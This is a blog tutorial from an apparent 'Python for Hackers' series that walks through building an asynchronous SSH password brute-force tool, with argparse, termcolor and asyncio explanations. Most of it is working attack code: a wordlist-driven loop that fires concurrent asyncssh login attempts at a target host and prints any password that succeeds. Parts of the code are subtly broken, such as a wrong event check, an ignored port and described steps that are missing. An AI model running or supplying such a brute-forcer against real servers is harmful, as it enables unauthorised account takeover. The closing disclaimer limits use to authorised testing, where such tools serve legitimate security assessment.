🐋 What is Python for Hackers series?
Python for Hackers is a Python security tool-making series, in which I will teach you how to make some of the tools that you use in your life while pen-testing and forensics. You may ask why Python, because coding in Python is hell easy AF.
In this whole series, you will learn various new techniques and skills that can help you in building your resume even stronger.
⚡How can the series help you?
- Gain Practical Skills: This series will provide you with practical hands-on experience in developing tools for penetration testing.
- Explore Real-World Scenarios: You will get an idea f how these tools work and are made.
- Create a great resume: After completing this series, as you would have made various tools and learned various new techniques then you can use them to create various new tools for others to use and show that in your resume.
- Automation and Efficiency: This series will also help you learn automation.
- Enhance Problem-Solving Skills: The process of building Python tools for hacking encourages readers to think critically and develop effective problem-solving skills, as they tackle security challenges.
🔴 What not to expect from these blogs
This series will not start from the very beginning of the python. To start with the series you should know some basic Python and some oops concepts. I don’t want to spoon-feed you throughout the series. After this paragraph, I am attaching some links from where you can start learning the basics of python and some oops concepts.
🔥 Resources to learn python
After just completing these three videos, I think you will be ready to start with the series. The other things apart from this or new techniques that will come in the series, I will teach you in the blogs themselves.
🐋What is SSH?
SSH stands for Secure Shell. It is a cryptographic network protocol used for secure communication and remote administration over an unsecured network. SSH provides a secure channel for transmitting data, executing remote commands, and accessing resources on a remote server.
In short, it allows users to log in to a remote server and execute commands if they were sitting on that server’s console.
To remotely login into a server you just type into your command-line argument
ssh username@ip_address
After this, you just type your password.
🛡 Building The tool
🗡Before building the tool itself let me give a brief of what you are going to build.
⚒ Taking command-line arguments
You may have seen various tools which take input from the command line itself, which provides flexibility, enabling users to tailor the tool’s functionality to their specific needs without modifying the source code. Using command-line arguments helps us in attaining various things such as
- Reproducibility: By specifying the exact options and parameters used during a particular run, the same results can be obtained consistently in subsequent executions
- Automation and scripting: Command-line tools are ideal for automation and scripting purposes. They can be easily incorporated into scripts or batch files, allowing repetitive tasks to be automated.
- Documentation and discovery: Command-line tools typically come with built-in help and usage information. By invoking the tool with specific command-line arguments like
--help
or -h
Using argparse to define command-line arguments
In Python, Argparse provides a convenient way to parse command-line arguments. It simplifies the process of defining, organizing, and handling command-line options and arguments in Python scripts.
Before using it, you will have to install it using the below command
pip install argparse
Basic Example
import argparse
parser=argparse.ArgumentParser()
parser.add_argument('--name',type=str)
arguments=parser.parse_args()
print(f"HI! {arguments.name}")
Let’s understand this code:
import argparse
: This line imports the argparse
module
parser = argparse.ArgumentParser()
: Here, an instance of the ArgumentParser
class is created. This object is responsible for defining and parsing the command-line arguments.
parser.add_argument('--name', type=str)
: This line adds a command-line argument to the parser. The argument is specified with the --name
flag, indicating that it is an optional argument. The type=str
argument specifies that the argument’s value should be interpreted as a string. You can add various optional arguments like the required which tells that the argument is essential for the tool to run or not.
arguments = parser.parse_args()
: This line triggers the parsing of the command-line arguments. The parse_args()
method examines the command line, extracts the provided arguments, and stores them in the arguments
object.
print(f"HI! {arguments.name}")
: Finally, the value of the name
argument is accessed using arguments.name
and printed with a greeting message.
As you can see we are able to the command-line argument that we created.
Argparse, by default also creates a documentation of tool which can be accessed through -h
or --help
.
To get detailed info on the argparse you can check out : Link
Creating get_args() function
So now we know the basic overview of the argparse, so now let’s start creating what we will need in our tool.
def get_args():
"""Function to get command-line arguments"""
parser = argparse.ArgumentParser()
parser.add_argument('target', help='Host to attack on e.g. 10.10.10.10.')
parser.add_argument('-p', '--port', dest='port', default=22,
type=int, required=False, help="Port to attack on, Default:22")
parser.add_argument('-w', '--wordlist', dest='wordlist',
required=True, type=str)
parser.add_argument('-u', '--username', dest='username',
required=True, help="Username with which bruteforce to ")
arguments = parser.parse_args()
return arguments
I think the initial code is well explained, so I will explain this code
parser.add_argument('target', help='Host to attack on e.g. 10.10.10.10.')
'target'
is the name of the argument being added. In this case, it represents the target host to attack. help='Host to attack on e.g. 10.10.10.10.'
is an optional argument for the add_argument
, it sets help message that will be displayed when the user requests help or usage information for the script.
parser.add_argument('-p', '--port', dest='port', default=22,
type=int, required=False, help="Port to attack on, Default:22")
-p
is the short form of the command-line argument, --port
is the long form of the command-line argument, you can use both. dest='port'
sets the destination attribute name for the parsed argument. In this case, the parsed value will be stored in the variable port
, default=22
sets the default value to 22, type=int
indicates that the value of the argument should be considered an integer value, required=False
specifies that the specifying argument in the command-line is not necessary.
and I have already discussed what help
does.
I think with this much info on arguments you can figure out the rest of the code by yourself, In this function after retrieving command-line arguments we just return the values to be further retrieved.
Getting colored outputs using termcolor
You have seen several tools which generate output in color format which enhances the tool or script by providing it enhanced readability and error identification.
In Python, you can use the termcolor module for colors in your output. The best thing about this, it is platform-independent so it works on almost all the platforms.
Installation
pip install termcolor
Basic usage
from termcolor import colored, cprint
# using print
print(colored("Hello Guys", "red"))
# using cprint
cprint("Hello Guys", "green")
There are two functions in the termcolor library that help in colors to the output: colored
and cprint
.
In the first example, print(colored("Hello Guys", "red"))
, the colored
function is called with two arguments: the text string "Hello Guys"
and the color "red"
. This function returns the text string wrapped in special ANSI escape codes that represent the specified color. The print
function then outputs the colored text to the console.
In the second example, cprint("Hello Guys", "green")
, the cprint
function is used directly to print colored text. It takes the same arguments as the print
function, with the text string and the desired color.
To see the various types of color it supports , you can visit : Link
🔥 Asynchronous Programming
Asynchronous programming is a programming paradigm that allows tasks to be executed concurrently and independently, without waiting for each other to complete. In simpler words, it enables a program to perform multiple operations simultaneously, making it more efficient and responsive.
In traditional synchronous programming, tasks are executed one after another, and each task must complete before the next one can start. This can lead to delays and inefficiencies, especially when dealing with tasks that involve waiting, such as network requests or file operations. Asynchronous programming, on the other hand, allows the program to continue executing other tasks while waiting for certain operations to complete.
🛠 How is Asynchronous Programming different from multiprocessing, multithreading
Although multiprocessing, multithreading, and Asynchronous programming are all used to deliver concurrent execution in a program, they are different in the ways these technologies work.
Multiprocessing involves creating multiple processes. Each process has its own memory space and resources, providing true parallel execution. Multiprocessing is suitable for CPU-bound tasks that can benefit from utilizing multiple processor cores effectively. Multiprocessing is suitable for CPU-bound tasks that can benefit from utilizing multiple processor cores effectively. This process takes the most resources.
Multithreading involves creating multiple threads within a single process. Each thread represents a separate flow of execution, allowing multiple tasks to run concurrently.
Threads share the same memory space and resources of the process they belong to. This can be useful for CPU-bound tasks where multiple threads can perform computations in parallel. This takes less resources compared to multiprocessing.
Asynchronous Programming involves using non-blocking operations and event-driven mechanisms to achieve parallelism. Instead of creating separate threads or processes, asynchronous programming focuses on efficient task handling and continues executing other tasks while waiting for certain operations to complete.
🔗 Example-based learning
Imagine you are a fruit shop owner who has just set up your shop where you sell fruits. After a month you see that your business has been expanding and there are several customers buying from your shop.
Now to control that rush you can do three things
- Hire additional staff to assist you with various stocks. Each staff member would be responsible for a specific task, such as one person attending to customers’ inquiries, another person arranging the displays, and a third person handling the cash counter. They would work in parallel, allowing you to serve customers more effectively and maintain a well-organized shop. After your work is done, you can simply fire these staff. This is the simple example of Multithreading and in this additional staff is the threads
- Opening a new fruit shop: having multiple separate fruit shops, each with its own set of employees, resources, and responsibilities. In this one shop could be dedicated to handling customer assistance, another shop could focus on restocking, and a third shop could manage the cash counter. This is the example of multiprocessing
- Efficiently handling multiple tasks : Example: While a customer is selecting fruits, you can start restocking the shelves with fresh produce and also handle the payment of another customer at the cash counter. So you don’t need separate employees and separate shops for various tasks. This is an example of Asynchronous programming
🔥 In short Asynchronous programming uses the main thread and switches over the tasks even ever a task is taking time to execute.
🔥 Using Asynchronous Programming in Python
In Python, asynchronous programming is supported through the asyncio
module, which provides tools and utilities for writing asynchronous code. Here’s a simple example to illustrate the basic concepts:
import asyncio
async def task1():
print("Task 1 started")
await asyncio.sleep(1) # Simulating some time-consuming operation
print("Task 1 completed")
async def task2():
print("Task 2 started")
await asyncio.sleep(2) # Simulating another time-consuming operation
print("Task 2 completed")
async def main():
# Creating tasks and scheduling them
t1 = asyncio.create_task(task1())
t2 = asyncio.create_task(task2())
# Allowing tasks to run concurrently
await asyncio.gather(t1, t2)
# Running the main function
asyncio.run(main())
Output:
Understanding Elements from code
Corroutine: A coroutine is a special type of function or routine that can be paused and resumed at specific points during its execution. In Python, coroutines are defined using the async
keyword before the function declaration.
To define a coroutine, just add async keyword before the function declaration.
async def task():
statement1
statement2
Event Loop: An event loop keeps track of all the registered tasks and decides when and in what order they should be executed. It ensures that tasks progress without blocking each other and maximizes the utilization of system resources.
Await: The await
keyword is used in Python within asynchronous functions or coroutines to pause the execution of a coroutine until a particular asynchronous operation is complete. It is typically used with functions or methods that return awaitable objects, such as asyncio.sleep()
or asyncio.gather()
.
import asyncio
async def my_async_function():
print("Before await")
await asyncio.sleep(2) # Pause the coroutine for 2 seconds
print("After await")
asyncio.run(my_async_function())
asyncio.create_task(): asyncio.create_task()
is a function provided by the asyncio
module in Python. It is used to create a task that represents the execution of an asynchronous function or coroutine. The task can then be scheduled and run concurrently with other tasks using the event loop.
asyncio.gather(): asyncio.gather()
allows you to execute multiple awaitable objects concurrently. It schedules the awaitables for execution and waits for all of them to complete. This concurrent execution can improve the overall performance of your code by utilizing available system resources efficiently.
asyncio.run(): asyncio.run()
is a function provided by the asyncio
module in Python. It is used to run an asynchronous function or coroutine and manage the event loop for you. It is simply used to call the coroutine function. You can’t call the async function so you need this function.
Flow execution
The code begins by importing the asyncio
module, which provides tools for asynchronous programming.
Two asynchronous functions, task1()
and task2()
, are defined. These functions represent individual tasks that will be executed concurrently.
The main()
function is defined as an asynchronous function. It serves as the entry point for running the asynchronous code.
Inside the main()
function, the asyncio.gather()
function is used to concurrently execute task1()
and task2()
and gather their results. The await
keyword is used to wait for the completion of the gather()
function, indicating that the program should pause until the tasks are finished.
The results of the tasks are stored in the results
variable. In this case, since there are two tasks, the results
variable will contain the results of both task1()
and task2()
.
The individual results are accessed by unpacking the results
variable into separate variables, result1
and result2
. This allows you to access and process the specific results of each task.
Finally, the event loop is run using asyncio.run(main())
. This executes the main()
function, which triggers the execution of the tasks specified in asyncio.gather()
.
Coding out remaining code
Let’s start with coding the code which will be outside the functions:
if __name__ == "__main__":
arguments = get_args()
if not path.exists(arguments.wordlist):
print(colored(
"[-] Wordlist location is not right,\n[-] Provide the right path of the wordlist", 'red'))
exit(1)
print("\n---------------------------------------------------------\n---------------------------------------------------------")
print(colored(f"[*] Target\t: ", "light_red",), end="")
print(arguments.target)
print(colored(f"[*] Username\t: ", "light_red",), end="")
print(arguments.username)
print(colored(
f"[*] Port\t: ", "light_red"), end="")
print('22' if not arguments.port else arguments.port)
print(
colored(f"[*] Wordlist\t: ", "light_red"), end="")
print(arguments.wordlist)
print(colored(f"[*] Protocol\t: ", "light_red"), end="")
print("SSH")
print("---------------------------------------------------------\n---------------------------------------------------------", )
print(colored(
f"SSH-Bruteforce starting at {datetime.now().strftime('%d/%m/%Y %H:%M:%S')}", 'yellow'))
print("---------------------------------------------------------\n---------------------------------------------------------")
asyncio.run(main(arguments.target, arguments.port,
arguments.username, arguments.wordlist))
[/color]Let’s understand this code[/color][/color]
Ques: What is __name__==__main__
?
Answer: The __name__
variable in Python holds the name of the current namespace or module. Each module has its own namespace, which acts as a container for the variables, functions, and classes defined within that module.
In this case the code block inside if __name__ == "__main__":
will only execute if the current script is being run as the main program. It will not execute if the script is imported as a module by another script.
The next line arguments = get_args()
is calling a function get_args()
to retrieve the command-line arguments provided when running the script. It assigns the returned values to the arguments
variable.
The following block of code checks whether the file specified in arguments.wordlist
exists using the path.exists()
function from the path
module. If the file does not exist, it prints an error message in red color indicating that the wordlist location is not correct and exits the script with an exit code of 1.
The next lines print out various information related to the SSH brute-forcing process. Each line uses the print()
function to output a formatted string to the console.
The lines starting with print(colored(f"[*] Target\t: ", "light_red",), end="")
print the target information.
The line print(arguments.target)
prints the value of arguments.target
.
Similarly, the lines starting with print(colored(f"[*] Username\t: ", "light_red",), end="")
print the username information, and the line print(arguments.username)
prints the value of arguments.username
.
The line print('22' if not arguments.port else arguments.port)
prints the port information. If arguments.port
is empty or not provided, it prints the default port value ‘22’; otherwise, it prints the value of arguments.port
.
The line print(arguments.wordlist)
prints the value of arguments.wordlist
.
The line print(colored(f"[*] Protocol\t: ", "light_red"), end="")
prints the protocol information, which is always “SSH”.
After printing the necessary information, a separator line is printed using print("---------------------------------------------------------\n---------------------------------------------------------")
.
The next few lines print a timestamped message indicating the start of the SSH brute-forcing process.
The line print(colored(f"SSH-Bruteforce starting at {datetime.now().strftime('%d/%m/%Y %H:%M:%S')}", 'yellow'))
prints the message in yellow color, displaying the current date and time obtained from datetime.now()
in the specified format using strftime()
.
Then there is another separator line
In the last line of the code asyncio.run(main(arguments.target, arguments.port, arguments.username, arguments.wordlist))
, we instructs the interpreter to run coroutine named main with arguments like target, port, username, wordlist.
📌 Coding Out the main function
Now when our program is executed, the execution goes to our main function.
async def main(hostname, port, username, wordlist):
tasks = []
passwords = []
found_flag = asyncio.Event()
concurrency_limit = 10
counter = 0
with open(wordlist, 'r') as f:
for password in f.readlines():
password = password.strip()
passwords.append(password)
for password in passwords:
if counter >= concurrency_limit:
await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED)
tasks = []
counter = 0
if not found_flag.set():
tasks.append(asyncio.create_task(ssh_bruteforce(
hostname, username, password, port, found_flag)))
await asyncio.sleep(0.5) # change the value according to the server
counter += 1
Firstly we defined a corroutine function named main which takes various parameters like hostname, port, username, and wordlist and gets its value from the function calling.
The function starts by initializing some variables:
tasks
: A list to store the tasks (coroutines) for SSH brute-forcing.
passwords
: A list to store the passwords read from the wordlist file.
found_flag
: An asyncio.Event()
object that acts as a flag to indicate whether the correct password has been found.
In the asyncio module of Python, asyncio.Event
is a class that represents a simple synchronization primitive used for communication between coroutines or tasks. An event is a boolean state that is initially unset (False) and can be set (True) by calling the set()
method.
Here are the main methods provided by asyncio.Event
:
set()
: Sets the event, changing its state to True. Any coroutines or tasks waiting for the event to be set will be unblocked and can continue their execution.
clear()
: Resets the event, changing its state to False.
is_set()
: Returns True if the event is set, and False otherwise.
wait()
: Suspends the coroutine or task until the event is set. If the event is already set, this method returns immediately.
concurrency_limit
: An integer that determines the maximum number of concurrent tasks allowed
counter
: A counter variable to keep track of the number of concurrent tasks.
After declaring the variables, The function then opens the specified wordlist
file in read mode using a with
statement.
It reads each line of the wordlist file using f.readlines()
, and for each line, it strips any leading or trailing whitespace and appends the password to the passwords
list.
Next, a loop iterates over the passwords
list to initiate the SSH brute-forcing process:
If the counter
variable reaches the concurrency_limit
, it waits for the current batch of tasks to complete before proceeding. This is achieved using await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED)
. It waits until at least one task completes.
> The return_when
parameter accepts different values, including asyncio.FIRST_COMPLETED
, asyncio.FIRST_EXCEPTION
, asyncio.ALL_COMPLETED
, or an integer representing the number of tasks that need to complete. When return_when
is set to asyncio.FIRST_COMPLETED
, the wait()
function will return as soon as at least one of the awaited tasks has been completed. It does not wait for all tasks to finish before returning
After waiting, the tasks
list is cleared, and the counter
is reset to 0 to prepare for the next batch of concurrent tasks.
If the found_flag
is not set (indicating the correct password has not been found), a new task is created using asyncio.create_task(ssh_bruteforce(...))
. The ssh_bruteforce()
coroutine is invoked with the provided parameters (hostname, username, password, port, and found_flag) to attempt an SSH connection with the given password.
Then we introduce a small delay of 0.5 seconds using await asyncio.sleep(0.5)
. This allows for time slices in the event loop, preventing excessive CPU usage and allowing other tasks to run, and gives some time for the ssh server to react. You should the value of the delay according to your needs.
The counter
is incremented to keep track of the number of concurrent tasks.
After the loop, await asyncio.gather(*tasks)
is used to wait for all the remaining tasks to complete. It collects and waits for the results of all the tasks in the tasks
list.
If the found_flag
is not set after all tasks are complete, it indicates that the correct password was not found. In this case, a message is printed in red color using the print()
function and the colored()
function.
Coding the the ssh_bruteforce
function
This is the function responsible for testing the password, associated with a specific username and IP address.
async def ssh_bruteforce(hostname, username, password, port, found_flag):
try:
async with asyncssh.connect(host=hostname, username=username, password=password) as conn:
found_flag.set()
print(colored(
f"[{port}] [ssh] host:{hostname} login:{username} password:{password}", 'green'))
except Exception as err:
print(
f"[Attempt] target {hostname} - login:{username} - password:{password}")
- Firstly we define the coroutine named ssh_bruteforce which takes various parameters like, hostname username, password, port, and found_flag variable, function gets value from the main coroutine function.
- Inside the function, an SSH connection is attempted using the
asyncssh.connect()
function. This function establishes an SSH connection to the specified hostname
with the provided username
and password
. The async with
statement is used to ensure proper handling of the connection resources.
The asyncssh
library is an asynchronous SSH client and server implementation for Python. It provides a high-level interface for establishing SSH connections, executing commands remotely, transferring files, and managing SSH-related operations in an asynchronous manner. It is designed to work seamlessly with asyncio library.
The asyncssh.connect()
is used to establish an asynchronous SSH connection to a remote host, it takes various arguments host, port, username, password, known_hosts. It also takes client keys to authenticate. In our code we are using it with the with
statement which ensures that as soon as our work is done , the connection is closed.
- If the connection is successfully established, the code block within the
async with
statement is executed. It sets the found_flag
using found_flag.set()
to indicate that the correct password has been found. It then prints a colored message to the console using colored()
indicating the successful connection attempt.
- If an exception occurs during the SSH connection attempt, the code within the
except
block is executed. The exception is caught and stored in the err
variable. It prints a message to the console indicating the attempted connection with the target hostname
, username
, and password
. If something error happens at your end, you can check the error by printing this err
variable.
So we are done with our code.
The final code can be reached at! : 🔗Link to code
❌Disclaimer
Note: The following disclaimer is intended for educational and ethical use of the SSH-bruteforce script.
The SSH-bruteforce script is provided for educational and testing purposes only. The use of this script for any unauthorized activities or malicious intent is strictly prohibited
The SSH-bruteforce script should only be used on systems for which you have the legal authority to perform security assessments. It is your responsibility to ensure that you comply with all applicable laws and regulations while using this script. The developers and contributors of the SSH-bruteforce script are not responsible for any misuse, damage, or illegal activities resulting from the use of this script